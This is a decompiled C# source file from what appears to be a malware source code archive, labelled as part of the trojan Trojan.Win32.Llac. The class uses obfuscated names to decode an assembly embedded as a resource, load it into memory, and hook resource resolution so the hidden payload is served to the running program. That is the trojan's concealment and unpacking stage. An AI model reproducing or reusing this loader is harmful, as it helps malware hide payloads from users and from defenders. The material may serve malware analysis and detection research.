MalwareSourceCode/MSIL/Trojan/Win32/L/Trojan.Win32.Llac.gxwf-aba0073bd9b9f0c6c0103f289f18d82411c0702308f5a0dbcae1b577edc263b3/c29f827b3bfbe0d42d68de9c890c71caf.cs
2022-08-18 06:28:56 -05:00

49 lines
2.1 KiB
C#

// Decompiled with JetBrains decompiler
// Type: A.c29f827b3bfbe0d42d68de9c890c71caf
// Assembly: Service, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
// MVID: B7AA2EBA-E600-4CD2-B54D-4503D0055DE2
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.gxwf-aba0073bd9b9f0c6c0103f289f18d82411c0702308f5a0dbcae1b577edc263b3.exe
using System;
using System.Reflection;
namespace A
{
internal class c29f827b3bfbe0d42d68de9c890c71caf
{
private static readonly Assembly c707f5a33ece1a7b87a7c284921546b04;
static c29f827b3bfbe0d42d68de9c890c71caf()
{
if ((object) c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 != null)
return;
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string name = executingAssembly.GetName().Name;
foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
{
if (name == manifestResourceName)
{
c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 = Assembly.Load(c7692e86eb2a74329ad9a7c19d9797b57.c12afc2e116cd62de076ec4482f164357(executingAssembly.GetManifestResourceStream(name)));
break;
}
}
}
internal static void c9cf73c7bbdddd2db81883c582dac255c() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(c29f827b3bfbe0d42d68de9c890c71caf.cad7ede284290bd4a9f987461cb4f5204);
private static Assembly cad7ede284290bd4a9f987461cb4f5204(
object ccdf542d5c3b6b24e4521e5d1ca516374,
ResolveEventArgs ce09aa02c17ce1ac18f55c08663a50a54)
{
if ((object) c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04 == null)
return c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04;
foreach (string manifestResourceName in c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04.GetManifestResourceNames())
{
if (manifestResourceName == ce09aa02c17ce1ac18f55c08663a50a54.Name)
return c29f827b3bfbe0d42d68de9c890c71caf.c707f5a33ece1a7b87a7c284921546b04;
}
return (Assembly) null;
}
}
}